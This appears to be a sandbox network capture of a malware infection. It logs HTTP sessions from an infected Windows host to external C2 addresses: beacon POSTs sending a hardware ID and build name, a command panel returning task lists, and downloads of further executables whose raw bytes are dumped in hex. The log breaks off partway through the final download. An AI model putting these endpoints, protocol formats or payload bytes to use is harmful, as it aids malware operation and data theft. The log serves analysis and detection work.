MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ , `@ `,4,`Ui` @ @.rsrc`2@.idata 8@pnhiajhq`+R+:@lwmvjhen ,+@.taggant@ ,"+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49819	185.215.113.37	80	1340	C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:08:27.310282946 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 18:08:28.223877907 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:08:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 18:08:28.227346897 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBAKKJDBKJJJKFHDAEB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 35 43 37 39 45 34 46 33 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 42 2d 2d 0d 0a Data Ascii: ------CFBAKKJDBKJJJKFHDAEBContent-Disposition: form-data; name="hwid"A55C79E4F37B1953448019------CFBAKKJDBKJJJKFHDAEBContent-Disposition: form-data; name="build"doma------CFBAKKJDBKJJJKFHDAEB--
Oct 24, 2024 18:08:28.515849113 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:08:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49992	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:04.155071020 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 18:09:05.068207026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49993	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:06.582262993 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 18:09:07.489362955 CEST	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 31 32 32 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 32 32 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 31 32 32 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 32 32 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1001226001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1001227001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1001228001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1001229001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49994	185.215.113.16	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:07.500088930 CEST	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 18:09:08.474750996 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:08 GMT Content-Type: application/octet-stream Content-Length: 2949632 Last-Modified: Thu, 24 Oct 2024 16:05:58 GMT Connection: keep-alive ETag: "671a7066-2d0200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 80 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 30 00 00 04 00 00 3f 06 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf0@0?-@Wk ^@.rsrc n@.idata n@czpsekkoplp@spvyrroop0,@.taggant00",@
Oct 24, 2024 18:09:08.474776030 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:09:08.474802017 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:09:08.474817038 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:09:08.474833965 CEST	1236	IN	Data Raw: b9 0b f8 0e 71 9d 11 32 fe 7a c7 e9 80 0c 28 70 54 4b 02 fa fb 66 8d f8 eb 5b 8b ca 68 3c 85 37 20 9f 1b ce a9 13 34 2e 22 ad ee bc cd 2a 47 3c ab 7a 7a ac fb 2e 15 2b e8 27 c3 ad 80 4e 4c d5 b0 28 02 12 ec 0a 93 33 d9 2d c6 ac cb b9 3d db e6 92 Data Ascii: q2z(pTKf[h<7 4."*G<zz.+'NL(3-=);7uQt9rB-.=pID!9JN"3\R4n?^Aq'&)yho;0q~bv<2$+S%GU
Oct 24, 2024 18:09:08.474850893 CEST	1236	IN	Data Raw: 7c 64 03 ea c9 39 d5 f7 21 05 ea 83 8f 26 c6 2a e4 ec d8 7a ab 7e 92 1c 4a 56 12 76 18 17 32 7c 21 eb 0a 6b 50 cb 2d 64 9a f1 ed b3 d3 c1 c4 c2 24 a8 55 8e 5e f9 bb b7 e3 02 da b3 6e cd eb 33 19 0c c5 fa ad 93 1c c7 a6 37 ee e2 ad d6 a5 9a e4 02 Data Ascii: \|d9!&z~JVv2\|!kP-d$U^n37nYb:6ZI"V#+N^6c-om=Qhl7=tVnE:"j3[}C$124N8C@y7TW]p#Fq#Z9ZE N\|:
Oct 24, 2024 18:09:08.474879026 CEST	1236	IN	Data Raw: cb 2d ee 55 cb 8d 55 b5 92 09 86 03 41 5f 33 7c ff 40 1b af 4f 61 41 cb e2 c3 08 8d c1 e7 8f d0 78 46 eb 0c 34 fc fe 2c f3 37 e9 53 65 08 79 fe e1 fe d3 f7 f9 0a 3d b0 1c 68 f1 a6 95 92 ca 7e 25 2f 21 b3 10 b1 86 63 dc ab 4b ab 28 7c ea 8d c0 28 Data Ascii: -UUA_3\|@OaAxF4,7Sey=h~%/!cK(\|(Iv[q_&ZJXu}*[F+@+@T/eRLb{dCLH]F}7Gs&1B`Q$qvA),3-bocc3y:J
Oct 24, 2024 18:09:08.474895954 CEST	1236	IN	Data Raw: 95 d9 f2 e4 35 fe 7d 50 24 86 78 00 d9 c9 82 73 ac 9f 13 52 e1 96 26 95 fb 49 81 cf 7b f0 81 dd a5 e5 51 75 a8 c8 d9 ce b4 76 c0 3e 84 35 de 2a 3a 00 1f 33 0f 6c 0c f5 1d 2a f3 42 f3 66 fd a3 86 6f 6d 33 80 a1 1d 54 86 94 1c 2e c8 ee e2 46 98 c3 Data Ascii: 5}P$xsR&I{Quv>5:3lBfom3T.F*,udom%\|:;[ZZizJ<Uh6aw#+[`bXz2:d^O_x?,/7/n2#DsZG]A~~=A2NK"
Oct 24, 2024 18:09:08.474910975 CEST	1236	IN	Data Raw: 69 6e 3a a2 89 c0 06 ae b5 1a 44 f9 f5 ed 20 f8 43 fe 02 1f 6f fb d9 7b 10 a7 33 27 30 fc 85 3f 56 46 8b 03 97 b0 7b 13 98 6e 6f d0 c9 da 2d d3 6f 45 8f 26 e1 a3 00 cf fe b9 27 d1 f9 f2 2c 6a 9b f2 4e 7d a4 cf e9 af fd 86 97 5c d5 93 b6 ae cf 1b Data Ascii: in:D Co{3'0?VF{no-oE&',jN}\_c_Rv{g6H3KnI03cg'$/ijp1bE:o;.WtRc@\|fR$N7(,/<
Oct 24, 2024 18:09:08.474926949 CEST	1236	IN	Data Raw: bc 3f 9f 1a c1 83 24 3b cc 86 46 f2 0c 2d ed f7 bd bd 40 a8 76 93 f9 03 2e de b5 9b 4a e8 05 f0 a3 b2 03 92 86 8e 4c 30 1c a5 61 32 b4 4a 00 e5 cd e2 d5 e2 9f b3 3f e8 ab ca 95 d6 15 28 39 cc c8 b9 18 83 79 17 63 b0 9c 5a b6 16 8c c3 30 84 81 5e Data Ascii: ?$;F-@v.JL0a2J?(9ycZ0^Q:J"nNN<g/+r/#MZ"l2}(iViG.}Q!flw5db5aCPQRdbj}vcOb^]
Oct 24, 2024 18:09:08.480561018 CEST	1120	IN	Data Raw: 1a 3c 12 ec d0 ce cb 38 a7 7c 39 69 b9 ef 94 b1 be 82 6e fa db 3f 83 aa 02 db 2c cd 44 3d af f5 20 36 05 aa 96 02 5a 0e 50 71 8e 0b 6e 3a 02 7c 1f 80 43 d2 01 be 01 49 cc 2e 55 76 13 2a 2a 92 6e 16 3d 80 97 1b ac 3f 50 bc 78 e6 1a 72 1c ac 56 eb Data Ascii: <8\|9in?,D= 6ZPqn:\|CI.Uv*n=?PxrV[:WD/nx+c[%qTu#I#?d[XJ8!8zXmP3I}X[Ddb5<n1R.'"0ul5[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49996	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:17.161412954 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 32 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001226001&unit=246122658369
Oct 24, 2024 18:09:18.150072098 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49997	185.215.113.16	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:18.160368919 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 18:09:19.060193062 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:18 GMT Content-Type: application/octet-stream Content-Length: 1821696 Last-Modified: Thu, 24 Oct 2024 16:06:04 GMT Connection: keep-alive ETag: "671a706c-1bcc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 d0 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 69 00 00 04 00 00 a1 56 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$h@iV@P%d% %(@.rsrc %8@.idata %8@ p)%:@letztgfzpPOj<@rrfcshyah@.taggant0h"@
Oct 24, 2024 18:09:19.060293913 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:09:19.060327053 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:09:19.060363054 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:09:19.060400963 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 18:09:19.060435057 CEST	1236	IN	Data Raw: 6a 86 7d ba 40 f5 71 75 8e 84 8a dd 5d e4 4c f2 42 0d ef 93 4d 38 50 12 db 7a b0 48 ca 90 e4 51 5c d3 0c 82 a3 87 9e d4 ad 49 d4 26 15 ab 27 2f b1 82 85 14 30 22 48 6a 62 52 a4 c0 f9 00 51 ce 65 82 3a f1 b8 b6 3d d7 56 d6 27 16 7c b2 80 ba 0c 5f Data Ascii: j}@qu]LBM8PzHQ\I&'/0"HjbRQe:=V'\|_RF2PQv)X{Rz5T[3rEK0-n!J"SFYKMlJ7OP5\|bn:Vn:Zn:nn:rn:fn:jn:~s:snz52O24Tl+\|7
Oct 24, 2024 18:09:19.060470104 CEST	848	IN	Data Raw: 99 66 ac 00 b6 e0 b0 70 5a ed 05 ef 82 79 d9 3e 50 30 27 7a 36 41 51 a2 e4 b8 ec 7b 3d f3 89 78 39 87 3d 68 64 b0 8e ae 02 30 26 ef 07 8f 15 69 1e 71 32 b9 b5 81 e7 6a 36 b6 58 2e 19 2c 92 26 5c f4 0e f0 2d c4 23 81 29 15 23 ab 24 39 c8 90 dc b3 Data Ascii: fpZy>P0'z6AQ{=x9=hd0&iq2j6X.,&\-#)#$9c\|J`\|M@eIhU1`0JSejIG7]wQ"tx^]em#lA!.'"B{b@<&[rq$CvJ!eca\|y2OvX
Oct 24, 2024 18:09:19.060504913 CEST	1236	IN	Data Raw: 29 8e 20 a3 cd 89 d7 99 45 11 60 59 0a f4 18 8b 2b 32 42 db ab 01 1f ff f9 89 19 f3 60 19 ce bc ac fc 1e c3 b0 89 ae 74 e2 fe 33 e7 b0 7d 6d db 49 89 b6 b0 f6 e2 0d 79 4d 1f d2 74 59 44 4e 85 fb 4c 1f 4c d8 50 09 17 c9 b5 ee 54 9a fa 01 cc 58 78 Data Ascii: ) E`Y+2B`t3}mIyMtYDNLLPTXxE".A[zMQ)sYSa5JA:bx!8T{q`JJ;8usH0^lH!\`EpYt;^b\@D:Mfnj71OFZUY:JDb
Oct 24, 2024 18:09:19.060539007 CEST	1236	IN	Data Raw: 76 d2 17 db de 89 ea f4 6f 54 59 c3 7d 48 b1 41 82 78 cd f6 18 74 95 f0 49 9c 4c 7f c1 99 a6 41 90 cb 40 68 31 ff 18 fb c9 03 f5 28 99 a3 42 cc 58 bc 12 e1 df c6 82 62 29 d0 18 a9 01 93 59 f3 59 12 6e eb 2b 00 21 b3 35 ec a5 09 21 10 19 d7 cd b7 Data Ascii: voTY}HAxtILA@h1(BXb)YYn+!5!+O$IW9A\|eYVx%z6H4AxELD29N+ 54;N+8'134O6a`+SU+JOYB{&Y\|xR') AxSsD
Oct 24, 2024 18:09:19.060592890 CEST	424	IN	Data Raw: d5 81 ec 72 ca 30 49 70 96 f8 11 44 da b4 dd 9a a1 e1 c2 00 aa 89 19 23 5c 2c c7 20 87 79 4a 33 34 44 8e b3 aa 9d 32 44 78 50 4f 44 7e 81 88 48 56 bc 9a 84 8d 78 35 b5 59 21 29 9c 58 02 7a 38 90 98 99 41 3e 78 62 f5 3f 0c 9a c3 8d ad 2e 73 59 af Data Ascii: r0IpD#\, yJ34D2DxPOD~HVx5Y!)Xz8A>xb?.sYqJXD0M9)I~y"t+IrQtY\M)Ez"hs-<P*x!m$. oY%d`XZ 5AMI!EF<GGKTomIp]7i
Oct 24, 2024 18:09:19.066636086 CEST	1236	IN	Data Raw: 72 81 e6 74 48 fe 30 73 ae 00 02 f0 4d b1 4e 18 47 d2 9d 98 95 92 0a ac 21 90 21 3f df ce 56 c3 0e b1 8e e9 58 2b 16 27 92 a1 aa a9 48 72 21 c9 38 40 42 73 76 d8 18 a9 f9 93 91 ff 35 d2 eb f4 cd 89 96 4a 02 a9 36 51 ec ea 50 79 4e 89 63 99 3d 41 Data Ascii: rtH0sMNG!!?VX+'Hr!8@Bsv5J6QPyNc=A;\yrx-xi\|H+}Lc+WLDH_"!KHr!8Bs <tJ;!Xl/8DbPN@F\|C#ZX y6(zKpY0dMzA1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49999	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:26.239774942 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 32 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001227001&unit=246122658369
Oct 24, 2024 18:09:27.158025026 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50000	185.215.113.37	80	1016	C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:26.706331015 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 18:09:27.626625061 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 18:09:27.629808903 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBG Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 35 43 37 39 45 34 46 33 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="hwid"A55C79E4F37B1953448019------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="build"doma------IECBGIDAEHCGDGCBKEBG--
Oct 24, 2024 18:09:27.920941114 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50001	185.215.113.16	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:09:27.186960936 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 18:09:28.098803997 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:09:27 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Thu, 24 Oct 2024 15:30:13 GMT Connection: keep-alive ETag: "671a6805-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df 